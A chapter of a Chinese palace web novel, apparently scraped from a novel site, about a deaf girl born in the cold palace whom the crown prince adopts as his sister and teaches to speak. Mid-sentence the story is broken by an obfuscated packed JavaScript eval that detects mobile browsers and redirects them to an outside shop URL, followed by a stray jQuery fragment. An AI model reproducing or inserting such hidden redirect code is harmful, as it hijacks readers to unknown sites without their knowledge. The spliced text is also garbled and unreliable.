从午门进去，一重一重的朱墙把市井喧嚣隔在了外头。
沿着漫长的宫道往前走，两旁是望不到头的庑房。当值的太监宫女们垂手走在阴影里，也不抬头，只有眼珠子偶尔一动。
过了三大殿，向东一拐，气象便不同了。御河的水在这里转了个弯，懒懒的，水面浮着些已舒展开的新荷，零零碎碎，粉白交错。河上有座小小的拱桥，桥那边，是东宫的地界。
东宫，本朝唤作昭阳殿，历来是皇太子的居所。
走过昭阳殿便是东六宫，娘娘们都住在这儿。御河贴着墙根儿伸至天际，沿路走过去，有时可听见各宫的人事。
走到尽头，御河又拐了个弯，汇进宫殿后的御花园里了。水声在这里忽然变得喧嚣，夹杂着些渺渺远远的人声，依稀是从前头六宫飘过来的。沿着花园东侧一条更窄的甬道向北走，朱墙渐渐变高，影子也越来越浓，日光要很费力才能从墙头漏下些零碎的亮。
这条甬道走到尽头，便是重华殿。
重华殿，也就是常说的冷宫，历来安置那些失了恩宠、犯了宫禁的罪妃，有时还有她们的孩子。
沈婕妤搬进来的时候，腰身已经非常粗，将近九个月。迁到重华殿的第三天，她诞下了一名女婴。
女婴并非旭平帝的血脉，故而接生孩子的只有看守重华殿的钱嬷嬷。
东西十二宫的娘娘们不知道旭平帝与沈庶人之间究竟发生了什么，但听说生下的是个女儿，也都了然沈庶人日后再不会掀起风浪，便任由这对母女在重华殿里过活。
因沈婕妤爱荷，孩子取名清圆。水面清圆，一一风荷举。她心里惦着的那个人，也极爱荷。荷花，是他们的定情之花。这件事旭平帝倒不知道。
清圆一岁多的时候，沈婕妤还是死了。心气郁结，再加上重华殿阴湿寒冷，月子没坐好，落下了病根。拖拖沓沓快两年，终究没扛过去。
钱嬷嬷把沈婕妤病死的消息报上去，第二日来了四位小太监，把人用席子裹了，抬出去，丢进了乱葬岗。
清圆长到两岁上，钱嬷嬷发现有些不对劲。往常这般大的孩子该会说话了，便是蠢笨迟钝的，也能发个单音，可清圆还是不开口。不仅不开口，人喊她她也像没听见似的。
钱嬷嬷把她放在殿前的石阶上，走到她身后，拍了拍手，又喊她的名字。清圆安安静静站着，望着砖缝里探出的一丛野草，浑然不觉。
钱嬷嬷明白了，这孩子是个聋子，因着聋，进而学不会说话。
清圆继承了她母亲的美貌，重华殿这腌臢地却养出她的圆眼粉唇雪肤。这么个齐全模样，偏偏有聋哑的先天缺陷，钱嬷嬷不由得叹息。过了一会儿，她又释怀了，毕竟清圆从小长在重华殿，往后大抵也是要在这里过一辈子的。听不见声音，说不出话，于她而言，未必不是好事。
钱嬷嬷待清圆并不严苛。重华殿里的日子很漫长，有个漂亮小人在跟前跑来跑去，总比独个儿守着空殿有趣。主子娘娘们用膳的时辰，宫里走动的人少，她便让清圆悄悄去御花园边上那片杂草地玩。
清圆四岁的时候，从外头玩耍回来，身后跟着个戴紫冠、穿锦袍的小男孩。
清圆紧紧牵着男孩的衣袖，把他领进来。她说不成话，只能“啊、啊、啊”地朝院里唤，眼睛却亮晶晶的。
钱嬷嬷听见清圆回来了，佝偻着腰走出来，看见那男孩的服色形貌，心头猛地一紧，愣在门旁。
那孩子倒先开了口，声音清亮亮的：“我叫李柘。”又顿了顿，“昭阳殿的李柘。”
昭阳殿的皇太子李柘，先皇后之子。
钱嬷嬷慌忙跪下磕头。
李柘继续道：“我要带她走。她叫什么名字？”
原来，半个月前清圆在御花园玩耍，偶遇独自溜出来的小太子。一个想说话却说不出，一个会说话却懒得说，一来二去，两人结成了玩伴。
钱嬷嬷抬起头：“清圆，李清圆。”
“清圆……”李柘念了一遍，“水面清圆，一一风荷举……”这首词还是母后教他的呢。
钱嬷嬷忙点头：“就是取的这句话。”
李柘又问：“她娘呢？”
钱嬷嬷叹道：“沈婕妤两年前便病死了。”
“沈婕妤？”他转头对女孩儿笑，“清圆是我亲妹妹？”
钱嬷嬷知道清圆的身世，一时倒有些踌躇。沈氏被废黜的原因，乃皇家秘辛，不宜大肆宣扬。自沈氏入重华殿，旭平帝便把彤史上关于她的文字尽数抹除了。这么些年，除了养心殿的人，再没有旁人知晓当年的往事。就连十二宫的娘娘们也只当是沈氏惹恼了皇帝，这才被打入冷宫。
后来，清圆出生、沈氏病故，养心殿无所表示，娘娘们自然也不愿触这霉头。因此，外头许多人只知道清圆是沈氏的女儿，是陛下厌恶的、不愿意承认的皇女。
钱嬷嬷咬了咬牙：“她确是沈婕妤的女儿。”名义上也是旭平帝的第三女。
李柘笑了起来：“好。从今天起，她跟我去昭阳殿住。”
钱嬷嬷给清圆收拾出一个小小的包袱，里头装了换洗的衣裳，清圆背在身后，一晃一晃的。李柘牵着她往昭阳殿走，低头瞧见那包袱又破又旧，跟逃难似的，抿了抿唇，到底没说什么。
还是那座小拱桥，走过去，迎面是阔朗的青石台基。廊下侍立着一些宫女太监，见李柘牵个陌生小女孩进来，眼里虽掠过讶异，面上却立刻堆起笑，齐齐拥上来。
清圆从未见过这样多的人，这样亮的颜色，这样齐整的笑脸。她本能地往李柘身后缩了缩，小小的手将他的衣袖攥得更紧。
李柘吩咐道：“她叫清圆，是重华殿先沈婕妤的女儿，也便是孤的妹妹。日后住在昭阳殿里，你们恭敬伺候着就是了。先把偏殿拾掇出来。”
得了令，宫人们立时就去安置房屋、收拾器具。
他又喊来大宫女槐药：“给她找两件鲜亮衣裳。”槐药应声而去。
收拾了整个下午，才把偏殿理出来。
槐药捧来两件新衫，要给清圆换。她不肯，攥着李柘的衣袖，不住地往她哥哥身后缩。
清圆防备除了李柘的一切人。李柘走到哪儿，她便跟到哪儿。李柘喝水，她也喝水。李柘同她说话，她才作出反应。清圆就像他的小尾巴。这会儿李柘要走，她连忙拽住他的衣角，“啊、啊”地乞求，圆圆的眼睛直勾勾盯住他，不肯他走。
没办法，李柘只好亲自给她沐浴更衣。
她才四岁，他虽年长些，也不过十一岁。小孩子十岁尚不分性别，也不拘男女大防。
人，洗干净了，换上漂亮衣服了。屋子，也收拾得齐整，可直接入住了。这番折腾下来，已到黄昏。御膳房送来晚膳，六菜一汤，还有餐后的点心，比清圆从前吃的不知丰盛多少。
但她并不放肆，只夹面前的菜吃。李柘给她碗里夹了块肉，她就吃，没人夹肉，她就白饭配菜。
槐药给她布菜：“夹肉吃呀。”
清圆懵懵懂懂的，点了下头，继续咽白饭——她听不见。
听不见，又不会说话，这不是长久之道。李柘决心教她。
用完膳，二人临窗坐着。李柘拿了块枣泥酥，递到她嘴边。
清圆咬了一小口。甜。眼睛立时泛起光。
李柘又让她吃了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363143|199765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
半块，还想吃，再不能了，他举高糕点，不让她够到。
两只小手举起来，想够又够不到，悻悻地垂下来，望着他。
李柘适时开了口：“一一。”
清圆懵懵懂懂地歪头看他。
他指了指清圆的嘴，又念了一遍。
清圆明白他的意思，她心底也是很着急，她想开口说话的。清圆模仿他嘴唇开合的样子，发出一声连绵的、带有浓厚鼻音的“一”，甚至不大听得出来这是“一”字。
可李柘还是含笑点了头，把剩下的半块糕点允她吃了。
清圆品咂着枣泥酥的味道，还想再吃。李柘便又拈了一块，捏在指尖，教她：“一、一。”
清圆又说一遍，还是像刚刚那样，不会断气，鼻音很重，音调奇怪。
李柘把枣泥酥举高，拉过清圆的手指贴在嘴唇，一字一顿说得极慢：“一、一。”
有了进步，就奖她吃糕点。
退步了，便板起脸佯作怒状。
清圆怕他生气，因而格外认真，来回七八次，终于将“一”字说得顺溜。
一一。是他给她取的小字，也是出自那句词。
学会了“一一”，便学第二个词，“阿兄”。
这词对清圆来说有些困难，李柘知道急不来，陪她先睡了。第二日，拿了套蜜合色的妆花缎流云裙来见她。
清圆早起见李柘不在，心底着慌，这会子见他过来，立时迎上去。
槐药捧来一碟芙蓉甘露酥。李柘拈了块放在嘴里，又取一块，递到清圆嘴边，却在趁她开口要咬的时候抽回来，摇了摇头。
清圆了然，清晰地说：“一一。”
他这才笑开，芙蓉甘露酥稳稳落在合在一起的两只掌心。
待她吃完，李柘将流云裙铺在床上。
清圆头一遭见这般漂亮的裙子，一忽儿凑近看衣料上的妆花暗纹，一忽儿又将脸颊贴上去蹭。
过了好一会子，李柘才把流云裙一卷，挂在臂弯，说：“一一。”
清圆盯着他的唇，点点头。
他指了指清圆：“一一。”
清圆继续点头：“一一。”
李柘指指自己，缓缓吐字：“阿、兄。”
第一声奇怪黏腻，李柘蹙眉摇头。
清圆再模仿，李柘依旧蹙眉。
等能够模模糊糊听见“阿兄”二字了，他奖她一块芙蓉酥，又摸了摸她的头。
他摆正清圆的脸，让她盯着自己的嘴，而后极认真地：“阿——兄——”
清圆努力模仿，小心翼翼地看李柘的神色。在他沉默凝望她的几息之间，清圆心底直发怵，瘪了嘴角想哭。
忽而，李柘噗嗤一笑，将流云裙奖给她。
照例是李柘给她换的裙子，衣服还没穿好，小人儿嘴边的笑意就藏不住了，压也压不下来。李柘低头给她系腰带，忽地，头顶传来一声黏糊奇怪的轻唤：“阿兄。”紧接着是一串清凌凌的笑声。这是她第一件新裙子，是她哥哥送的呢。
李柘也跟着弯了唇瓣，轻轻一笑。
清圆只在昭阳殿住了半个月，便又回到重华殿。
盖因旭平帝在昭阳殿见着清圆，得知她是沈氏之女，怒不可遏，当即派人将清圆送了回去，连带着李柘也被禁足半个月。
这半个月里，李柘听槐药说，清圆每天都坐在重华殿的门槛上，等待着他。
长长的甬道，两侧是望不到头的庑房，一点声响都没有，也看不到人影。第十六日，路尽头走出了李柘。
清圆黯淡的眼睛顿时明亮，她提裙飞奔过去，很清亮地喊了一声：“阿兄！”